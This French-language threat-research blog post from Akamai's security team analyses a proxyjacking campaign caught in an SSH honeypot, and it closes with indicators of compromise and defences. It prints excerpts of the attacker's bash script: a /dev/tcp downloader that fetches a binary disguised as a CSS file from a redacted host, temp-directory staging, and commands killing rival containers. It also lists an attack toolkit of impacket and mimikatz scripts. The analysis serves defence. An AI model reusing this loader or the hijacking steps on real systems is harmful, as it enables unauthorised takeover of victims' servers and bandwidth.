Vous avez besoin du Cloud Computing ? Commencez dès maintenant

Proxyjacking : la dernière arnaque en vogue chez les cybercriminels

Allen West

écrit par

Allen West

June 29, 2023

Allen West

écrit par

Allen West

Allen West est chercheur en sécurité au sein de l'équipe Security Intelligence Response Team d'Akamai. Il adore enquêter sur les menaces et créer des outils. Il poursuit actuellement son Master en assurance et sécurité des informations de l'Université Carnegie Mellon, aux États-Unis. Il a obtenu son diplôme de premier cycle en cybersécurité de l'Université Northeastern, aux États-Unis. C'est aussi un ancien combattant du corps des Marines. Pendant son temps libre, Allen adore voyager, faire de la randonnée, nager - en bref, il aime le plein air et l'aventure.

Bien que le proxyjacking en soi existe depuis un certain temps déjà, son utilisation à but strictement lucratif, que nous avons observée dans cette campagne, est toute récente.

Commentaires éditoriaux et additionnels de Tricia Howard

Synthèse

  • L'équipe SIRT (Security Intelligence Response Team) d'Akamai a découvert une campagne de proxyjacking visant les serveurs SSH vulnérables dans laquelle les pirates lancent des services Docker qui partagent la bande passante de la victime pour générer de l'argent.

  • Ils exploitent un serveur Web compromis pour distribuer les dépendances nécessaires, recherchent et suppriment activement les instances concurrentes et utilisent des techniques de brouillage pour échapper à la détection.

  • Le proxyjacking est la toute nouvelle technique des cybercriminels pour gagner de l'argent à partir de terminaux compromis, aussi bien dans un écosystème d'entreprise comme que celui des internautes. Il s'agit d'une alternative plus discrète au cryptojacking et qui a des implications sérieuses qui peuvent augmenter les désagréments causés par les attaques de la couche 7 par proxy.

Introduction

Dans le monde en constante évolution des cybermenaces, les pirates recherchent constamment des stratégies innovantes pour maximiser leurs gains tout en minimisant leurs efforts. Le dernier exemple de cette situation a été découvert au début du mois de juin dans l'un des « pots de miel » distribués dans le monde entier de l'équipe SIRT d'Akamai. Il s'agit du proxyjacking à but lucratif.

Bien que le concept de proxyjacking ne date pas d'hier, la facilité avec laquelle les pirates le monétisent en se posant comme filiales d'entreprises réputées est toute nouvelle. En fournissant une voie directe vers des gains financiers, ce vecteur représente une menace aussi bien pour le monde de l'entreprise que pour l'internaute moyen. Cela accroît la nécessité de sensibiliser sur le sujet et, bien entendu, les besoins d'atténuation. Anonymous Sudan et Meris sont des noms bien connus dans l'écosystème émergent des menaces. Lorsque cet écosystème est associé à l'augmentation notable des attaques de la couche 7 propagées par les réseaux de proxy, l'accumulation d'une grande quantité de proxys utilisables génère une valeur monétaire substantielle.   

Dans cet article, nous allons examiner une nouvelle campagne de proxyjacking découverte par nos chercheurs en sécurité de l'équipe SIRT. Il s'agit d'une campagne active dans laquelle le pirate exploite le protocole SSH pour obtenir un accès à distance, en exécutant des scripts malveillants qui enrôle à leur insu les serveurs victimes dans un réseau proxy P2P (peer-to-peer), par exemple Peer2Proxy ou Honeygain. 

Le pirate peut ainsi monétiser la bande passante supplémentaire d'une victime qui ne se doute de rien, avec seulement une fraction des ressources qui seraient nécessaires pour le minage de cryptomonnaies, et avec moins de risques d'être découvert. 

Nous allons décrire les détails techniques de la campagne et étudier le profil de menace du proxyjacking à but lucratif. Nous proposerons également des suggestions d'atténuation. Notre but est de mettre en lumière ce nouveau cas d'utilisation d'une ancienne technique.

Qu'est-ce que le proxyjacking ?

Aujourd'hui, le cryptojacking est assez bien connu dans le monde entier. Les ressources de la victime sont volées pour contribuer à un pool minier en échange d'une somme reversée au pirate. Une technique moins connue, mais dont la tendance est à la hausse, est appelée « proxyjacking ». 

Lorsqu'il procède à du proxyjacking, le pirate vole des ressources, mais il exploite également la bande passante inutilisée de la victime. Le système de la victime est secrètement utilisé pour exécuter divers services sous forme de nœud proxy P2P que les pirates ont récemment commencé à monétiser via des organisations telles que Peer2Profit et Honeygain. Celles-ci offrent à l'internaute moyen la possibilité d'être payé pour son excédent de bande passante, une perspective légitime attrayante pour beaucoup de personnes et d'entités. 

Cependant, ces organisations posent souvent peu de questions sur la façon dont les nouveaux nœuds proxy ont été obtenus, ce qui ouvre la porte à des irrégularités. Bien que le proxyjacking existe depuis un certain temps, il n'a commencé que récemment à être utilisé à des fins strictement lucratives, comme nous l'avons observé dans cette campagne.

Quelle est la valeur d'un proxy pour un cybercriminel ?

Pour les cybercriminels, la valeur des proxys est indissociable de leur capacité à brouiller leurs traces, ce qui rend extrêmement difficile de remonter à l'origine des activités illicites. Ce brouillage est créé en faisant passer un trafic malveillant par une multitude de nœuds homologues avant qu'il atteigne sa destination finale. La Figure 1 illustre cette manœuvre et montre que les individus échangent ouvertement l'accès aux proxys, ce qui offre un chemin diversifié pour leur trafic. 

Cette liste a été trouvée par le biais de publications en ligne liées à l'adresse IP principale sur laquelle cette enquête était centrée. Elle était associée à plus de 16 500 autres proxys ouverts. La montée en puissance du proxyjacking montre clairement que tous ces nœuds ne sont pas des homologues volontaires dans ce réseau. Cette liste n'est pas non plus exhaustive ; nous avons en effet trouvé de nombreuses autres publications de ce type.

capture d'écran de la liste des proxys ouverts Figure 1 : Liste partagée de proxys ouverts publiée sur un forum en ligne (IP censurées)

Dans la campagne abordée dans cet article de blog, nous ne nous concentrons pas sur les proxys « ouverts » classiques, car des entreprises comme Peer2Profit et Honeygain affirment partager leurs proxys uniquement avec des partenaires théoriquement approuvés. Cependant, les incitations offertes par ces entreprises pour contribuer à des réseaux de proxys attirent des internautes légitimes cherchant des revenus passifs, mais aussi les pirates qui tentent d'exploiter le système aux frais d'autres personnes.

De même, les services réels qu'elles fournissent attirent aussi bien des entreprises légitimes que des acteurs malveillants. Cette affaire rappelle donc brusquement les conséquences potentielles de ces services apparemment bénéfiques sur le plan de la sécurité.

Souriez, vous êtes filmés par Cowrie !

Cette campagne a été mise en lumière pour la première fois le 8 juin 2023. Notre équipe a remarqué qu'un pirate établissait plusieurs connexions SSH à l'un de nos pots de miel Cowrie (Figure 2), une ressource gérée par l'équipe SIRT. Grâce à nos capacités complètes de contrôle et de surveillance sur ce pot de miel, nous avons pu suivre et documenter toutes les actions entreprises par les pirates, qui ont été principalement effectuées via des scripts bash codés.

pirate établissant plusieurs connexions SSH à l'un de nos pots de miel Cowrie Figure 2 : Cartographie d'une campagne de proxyjacking dans les pots de miel SSH

La première manœuvre du pirate consistait à utiliser un double script bash codé en Base64 (Figure 3), une technique courante utilisée pour masquer la véritable fonctionnalité du script et contourner les systèmes de sécurité.

la première ligne d'action du pirate consistait à utiliser un double script bash codé en Base64 Figure 3 : Script bash codé du pirate

En parvenant à décoder le script bash brouillé, nous avons obtenu une vue claire du mode opératoire du pirate pour ce proxyjacking. Grâce à la consignation de ce script décodé, nous avons pu disséquer méticuleusement la nature et l'ordre des opérations prévues par le pirate.

Perturber, déployer, disparaître

Ce script décodé transforme efficacement le système compromis en un nœud dans le réseau proxy Peer2Profit, en utilisant le compte spécifié par $PACCT comme filiale bénéficiaire de la bande passante partagée. Peu de temps après, nous avons constaté la même chose chez Honeygain. Le script a été conçu pour être furtif et robuste. Il devait fonctionner indépendamment du logiciel installé sur le système hôte.

Le script a d'abord défini quelques fonctions pour une utilisation ultérieure, dont la première était une mise en œuvre rudimentaire de la commande curl :

  function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

Celle-ci a ensuite été utilisée dans la deuxième fonction pour télécharger une version réelle de la commande curl hébergée sur le serveur de distribution sous le nom « csdark.css ». Il semble que la commande curl soit le seul composant nécessaire pour que ce stratagème fonctionne. Par conséquent, si elle n'est pas présente sur l'hôte de la victime, le pirate la télécharge en son nom.

  c(){
  if ! command -v curl &>/dev/null;then
    __curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
    if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
      echo "could not get curl"
      exit
    fi
    chmod +x curl
    export PATH=$PWD:$PATH
  fi
}

Selon notre analyse, il s'agit simplement d'une version normale de la commande curl, avec peu ou pas de modifications. Il est possible qu'elle contienne des fonctionnalités supplémentaires, malveillantes ou améliorant les performances, mais nous n'avons aucune raison de penser que ce soit le cas pour le moment. 

Le fait le plus intéressant à propos de cet exécutable, c'est qu'il est classé comme totalement bénin par tous les fournisseurs tiers (Figure 4), alors qu'il s'agit de l'artefact initial qui nous a conduits à approfondir notre enquête. Cette réputation d'être inoffensif renforce l'idée qu'il s'agit simplement d'une version standard de la commande curl. Notre capacité à examiner la source de l'artefact, et uniquement celle-ci, nous a montré que ce morceau de code inoffensif était détourné dans le cadre d'une attaque par proxyjacking. Cela souligne l'importance de pouvoir isoler tous les artefacts inhabituels, et pas seulement ceux qui sont considérés comme malveillants.

capture d'écran de la commande curl téléchargée Figure 4 : Capture d'écran montrant le caractère soi-disant inoffensif de la commande curl téléchargée

Le pirate définit également une autre fonction de déplacement dans un emplacement inscriptible et exécutable, tel que /dev/shm ou /tmp. Si aucun répertoire approprié n'est trouvé, l'exécutable se ferme.

  d(){
  cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  #mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
  echo "no suitable dir"
  exit
}

La fonction finale définie dans le script participe à la configuration du bot, mais l'appel de cette fonction est en fait commenté dans le script principal, et remplacé par potentiellement plus de code fonctionnel. Le plus gros du processus se passe dans le reste du code. 

Pour des raisons de sécurité, nous ne pouvons pas partager l'intégralité du code, mais nous pouvons en présenter quelques parties afin de vous donner une idée de ce dont nous parlons. Les parties censurées du code sont symbolisées par des ellipses : […].

Les scripts commencent par vérifier si leur propre conteneur est déjà en cours d'exécution :

  if ps axjf|[...]|grep […] "$PACCT";then
  echo "already running"
  exit

Ensuite, ils vérifient l'existence d'autres conteneurs exécutant des conteneurs de partage de bande passante rivaux et les éliminent.

  if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
  for con in [...];do
    if ! docker [...]|grep [...] "$PACCT";then
      [...]
      docker stop -t 10 $con
      docker stop -s KILL $con
      docker stop $con
      echo "killed container: $con"
    fi
  done
fi

Pour cela, ils créent un répertoire de travail, téléchargent une image Docker à partir de référentiels Docker publics contenant les programmes de partage de ressources, et la nomme « postfixd ». À partir de là, ils suivent simplement les instructions accessibles au public afin de télécharger et décompresser les couches Docker pour l'image, puis suppriment quelques artefacts restants avant de disparaître.

  cd .. && rm -rf pfp

La valeur d'une bande passante Internet diversifiée

Les stratagèmes de monétisation de proxy P2P trouvés dans cette campagne reposaient sur Peer2Profit et Honeygain, qui possèdent tous deux des images Docker publiques téléchargées plus de 1 million de fois (Figure 5).

capture d'écran de l'image Docker Figure 5 : Image Docker publique de Honeygain avec 1 million de téléchargements

Dans ces exemples de proxyjacking, le proxy est utilisé par des entreprises théoriquement légitimes, mais potentiellement sans scrupules, à des fins telles que la collecte de données et la publicité (Figure 6). Certaines de ces entreprises vous permettent même de voir exactement comment votre trafic est utilisé.

capture d'écran du site Web Peer2Profit Figure 6 : Capture d'écran du site Web Peer2Profit

Ces logiciels ne sont pas intrinsèquement malveillants. Ils sont présentés comme des services volontaires qui offrent aux internautes la possibilité de partager leur bande passante Internet inutilisée en échange d'une compensation monétaire (Figure 7). L'opération est plutôt simple, mais certaines de ces entreprises ne vérifient pas correctement l'approvisionnement des IP dans le réseau et, occasionnellement, suggèrent même aux internautes d'installer le logiciel sur leur ordinateur professionnel.

image de Peer2Profit Figure 7 : Image de Peer2Profit montrant le fonctionnement du service (source : https://peer2profit.com/)

Une activité légitime qui se transforme en cybercriminalité

Le scénario change radicalement lorsqu'une application est déployée sans que l'internaute en ait connaissance ou y ait consenti, et qu'elle exploite ses ressources. C'est là que l'utilisation à priori anodine de ces services ouvre la porte à la cybercriminalité. Le pirate, en exploitant plusieurs systèmes et leur bande passante, démultiplie les gains potentiels provenant du service, le tout aux frais des victimes.

Ce scénario présente une ressemblance frappante avec la différence entre le minage de cryptomonnaie et le cryptojacking. En soi, le minage de cryptomonnaie est une activité légitime, dans laquelle les individus utilisent des ressources de calcul pour extraire de la cryptomonnaie. Cependant, lorsqu'il évolue en cryptojacking, il implique l'utilisation non autorisée des ressources informatiques d'une autre personne pour l'extraction. L'activité autrement inoffensive devient alors malveillante.

Un aperçu du serveur de distribution

Notre enquête nous a conduits à examiner le serveur utilisé pour extraire le binaire de la commande curl utilisé dans le script bash malveillant. S'agissant d'une attaque sans fichier, elle s'appuie sur un serveur de distribution pour assurer une exécution correcte. 

En examinant le site, nous sommes rapidement arrivés à la conclusion qu'il s'agissait d'un serveur Web compromis, qui était utilisé pour distribuer divers composants servant aux attaques. Nous avons pu retracer l'origine de ce site Web à une entreprise libyenne spécialisée dans les « matériaux de construction de haute qualité ». 

La première étape de notre évaluation a été d'étudier les éléments hébergés (Figure 8) dans le même chemin que le binaire de la commande curl (csdark.css, comme indiqué précédemment).

une liste des éléments hébergés Figure 8 : Une liste des éléments hébergés sur le serveur Web compromis

En analysant les technologies avec lesquelles ce serveur Web a été développé, nous avons constaté qu'il contenait plusieurs composants obsolètes et laissés à l'abandon. Ce chemin de site Web était utilisé spécifiquement pour soutenir une bibliothèque, appelée « metro-bootstrap », qui n'est plus entretenue. En nous familiarisant avec cette bibliothèque, nous avons repéré les trois fichiers dont la dernière modification datait de 2014. 

Les nouveaux fichiers, cependant, nous ont laissés penser que ce serveur avait depuis été compromis et qu'il était désormais utilisé comme point de téléchargement pour diverses activités. Afin d'analyser ces fichiers, nous avons utilisé « wget -r » pour les télécharger tous.

Le fichier csdark.css est l'exécutable de la commande curl dont nous avons discuté plus tôt. En examinant les dates, nous pouvons en déduire que metro-bootstrap.min.xcss a pu être utilisé pour une sorte de test de chargement de fichier et que csdark.css avait été ajouté le jour suivant. Il ne restait plus que vksp . Selon l'entrée VirusTotal suivante (Figure 9), vksp est en fait un programme du nom de perfcc, un mineur de cryptomonnaies spécifique à Linux.

entrée VirusTotal Figure 9 : Capture d'écran montrant perfcc marqué comme malveillant sur VirusTotal

Nous avons brièvement analysé ce fichier et avons observé qu'il contenait en fait un utilitaire de minage de cryptomonnaie, ainsi que de nombreux autres outils d'exploitation et de piratage courants.

  ~/.local/bin$ ls
  addcomputer.py  exchanger.py        getST.py          ldd2pretty            normalizer     
  raiseChild.py     secretsdump.py  split.py
  atexec.py       findDelegation.py   getTGT.py         lookupsid.py          ntfs-read.py   
  rbcd.py           services.py     ticketConverter.py
  crontab         flask               GetUserSPNs.py    machine_role.py       ntlmrelayx.py  
  rdp_check.py      smbclient.py    ticketer.py
  cygdb           futurize            goldenPac.py      mimikatz.py           pasteurize     
  registry-read.py  smbexec.py      top
  cython          GetADUsers.py       karmaSMB.py       mqtt_check.py         ping6.py       
  reg.py            smbpasswd.py    wmiexec.py
  cythonize       getArch.py          keylistattack.py  mssqlclient.py        ping.py        
  rpcdump.py        smbrelayx.py    wmipersist.py
  dcomexec.py     Get-GPPPassword.py  kintercept.py     mssqlinstance.py      
  psexec.py      rpcmap.py         smbserver.py    wmiquery.py
  dpapi.py        GetNPUsers.py       ldapdomaindump    netview.py            ps.old         
  sambaPipe.py      sniffer.py
  esentutl.py     getPac.py           ldd2bloodhound    nmapAnswerMachine.py  
  __pycache__    samrdump.py       sniff.py

Cette découverte ne nous a pas étonnés, car il semble logique que les acteurs malveillants qui ont toujours utilisé le cryptojacking comme source de revenus se tournent désormais vers le proxyjacking, exclusivement ou comme complément. Le fait que ces deux exécutables soient hébergés sur le même site Web compromis donne un bon aperçu du genre d'acteurs qui verront immédiatement la valeur de cette nouvelle stratégie de monétisation.

Impact et pertinence de l'écosystème des menaces

L'émergence du proxyjacking à but lucratif vient s'ajouter aux nombreuses autres formes de génération de revenus criminels par le biais de terminaux compromis. La comparaison la plus évidente est le cryptojacking, mais prendre un service légitime et abuser de sa rentabilité par des moyens criminels est une stratégie bien plus ancienne. 

Un autre exemple parlant est le fait que les courriers indésirables sont apparus à cause du marketing d'affiliation, une pratique qui reste très commune aujourd'hui. Certaines entreprises payaient au clic dans la mesure où vous attiriez des clients sur leur site, et nombre d'entre elles ne tenaient pas compte du fait que les gens utilisaient des courriers indésirables pour y parvenir. Tant que ces incitations existeront, et que les entreprises seront prêtes à ignorer l'éthique de l'approvisionnement, les industries criminelles continueront d'exploiter ces pratiques. 

L'accumulation de proxys est aussi particulièrement pertinente et préoccupante pour une autre raison : le proxyjacking remédie au seul inconvénient significatif du cryptojacking, à savoir la détection via une utilisation élevée du processeur. En exigeant des performances de processeur minimales et en s'appuyant sur la bande passante Internet inutilisée, le proxyjacking peut éviter certains des moyens de détection précédemment utilisés pour le cryptojacking

Comment se défendre contre le proxyjacking

Du point de vue des entreprises, une utilisation réduite du processeur signifie qu'il est encore plus important de mettre l'accent sur les solutions IDS/IPS pour atténuer le proxyjacking. L'internaute quotidien doit, lui, mettre en œuvre des bases de sécurité solides, notamment utiliser des mots de passe compliqués et les stocker dans un gestionnaire de mots de passe, appliquer des correctifs aux applications et activer l'authentification multifactorielle (MFA) chaque fois que cela est possible. Les internautes ayant une connaissance approfondie de la sécurité informatique peuvent également surveiller les conteneurs en cours d'exécution, examiner le trafic réseau pour détecter les anomalies et même exécuter régulièrement des analyses de vulnérabilité.

Dans cette campagne spécifique, nous avons observé l'utilisation de protocole SSH pour accéder à un serveur et installer un conteneur Docker, mais les campagnes passées exploitaient également des vulnérabilités Web. Si vous vérifiez vos services Docker locaux en cours d'exécution et que vous trouvez un partage de ressources indésirable sur votre système, vous devez analyser l'intrusion, déterminer comment le script a été importé et exécuté, et effectuer un nettoyage complet. 

Assurez-vous de rechercher tout autre signe d'intrusion ou d'infection. Modifiez tous vos mots de passe, assurez-vous que tous vos logiciels sont à jour et envisagez de mettre en œuvre des règles de sécurité plus strictes. Vous devriez également réfléchir à contracter des services professionnels de réponse aux incidents si le système concerné est sensible ou contient des données précieuses.

En plus de la nature sournoise de ces attaques, les proxys ouverts sont un outil crucial de l'arsenal des cybercriminels ; les organisations criminelles telles que Meris et Anonymous Sudan ont d'ailleurs bien démontré les conséquences dévastatrices des attaques par proxy. Avec une augmentation continue des attaques de la couche 7, ce problème ne fera qu'empirer et confier aux entreprises de réseau proxy la charge de gérer correctement leurs partenaires est un mécanisme de défense très faible offrant peu d'assurance.

Résumé

Les anciennes techniques restent efficaces, surtout lorsqu'elles sont associées à de nouveaux résultats. Le proxyjacking monétisé en est un bon exemple, et nous verrons certainement apparaître de nouvelles tactiques, spécifiquement axées sur ce type d'attaques. Ce vecteur souligne une fois de plus la nécessité de bases solides. Les pratiques de sécurité standard restent un mécanisme de prévention efficace, y compris les mots de passe forts, la gestion des correctifs et la consignation méticuleuse.

La vigilance est de rigueur, que ce soit à l'égard de votre entreprise ou de vos biens personnels, qui sont concernés par le proxyjacking. Comme toujours, l'équipe SIRT d'Akamai continuera à surveiller ces menaces et bien plus encore, et fournira des informations supplémentaires au fur et à mesure de leur émergence. Pour découvrir d'autres recherches approfondies sur la sécurité, suivez-nous sur Twitter.

Indicateurs d'infection

  • Hachages
    • 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a  - vksp
    • 72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a

  • Vérifiez la présence de proxyjackin non souhaité :
    •         
      docker ps | grep -q peer2profit

    • docker ps | grep -q honeygain

 



Allen West

écrit par

Allen West

June 29, 2023

Allen West

écrit par

Allen West

Allen West est chercheur en sécurité au sein de l'équipe Security Intelligence Response Team d'Akamai. Il adore enquêter sur les menaces et créer des outils. Il poursuit actuellement son Master en assurance et sécurité des informations de l'Université Carnegie Mellon, aux États-Unis. Il a obtenu son diplôme de premier cycle en cybersécurité de l'Université Northeastern, aux États-Unis. C'est aussi un ancien combattant du corps des Marines. Pendant son temps libre, Allen adore voyager, faire de la randonnée, nager - en bref, il aime le plein air et l'aventure.